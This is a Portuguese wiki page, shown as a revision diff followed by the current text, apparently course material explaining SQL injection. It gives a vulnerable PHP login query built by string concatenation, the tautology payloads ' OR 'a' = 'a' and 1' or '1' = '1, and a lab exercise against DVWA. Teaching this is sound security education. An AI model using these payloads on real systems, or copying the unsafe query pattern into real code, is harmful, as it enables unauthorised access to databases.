Difference between revisions of "SQLi"

From Prof. Vinicius Vieira
Jump to navigation Jump to search
Line 13: Line 13:
 
   $_POST['password'] . " ' ";
 
   $_POST['password'] . " ' ";
 
   $response = mysql_query($query) ;
 
   $response = mysql_query($query) ;
 +
 +
 +
Em outras palavras:
 +
 +
 +
 +
  SELECT * FROM users WHERE user='...' AND password='...'
 +
 +
 +
 +
Desta forma consigo enganar o banco já informando o valor do "password", assim:
 +
 +
 +
  Password = ' OR 'a' = 'a'
 +
 +
 +
 +
Ficando o SELECT assim:
 +
 +
 +
 +
  SELECT * FROM users WHERE user = 'Patrik' AND password = ' ' OR 'a' = 'a'
 +
 +
== Testando no alvo (DVWA) ==
 +
 +
Usando o DVWA (que pode ser baixado aqui), vá no menu SQL Injection e informe um ID qualquer. Repare nas saídas e na URL.
 +
 +
Agora exemplifique usando as aspas ( ' " ) e veja o erro gerado (enumeração).
 +
 +
Agora informe um "sempre true":
 +
 +
 +
 +
  1' or '1' = '1

Revision as of 16:51, 31 March 2021

Links Importantes

O que é um ataque do tipo SQL Injection | https://portswigger.net/web-security/sql-injection

Cheat Sheet para SQLi | https://portswigger.net/web-security/sql-injection/cheat-sheet


Exemplo de código fonte vulnerável (PHP)

 $query = "SELECT * FROM users WHERE user='" .
 $_POST['username'] . " ' AND password=' " .
 $_POST['password'] . " ' ";
 $response = mysql_query($query) ;


Em outras palavras:


 SELECT * FROM users WHERE user='...' AND password='...' 


Desta forma consigo enganar o banco já informando o valor do "password", assim:


 Password = ' OR 'a' = 'a' 


Ficando o SELECT assim:


 SELECT * FROM users WHERE user = 'Patrik' AND password = ' ' OR 'a' = 'a'

Testando no alvo (DVWA)

Usando o DVWA (que pode ser baixado aqui), vá no menu SQL Injection e informe um ID qualquer. Repare nas saídas e na URL.

Agora exemplifique usando as aspas ( ' " ) e veja o erro gerado (enumeração).

Agora informe um "sempre true":


 1' or '1' = '1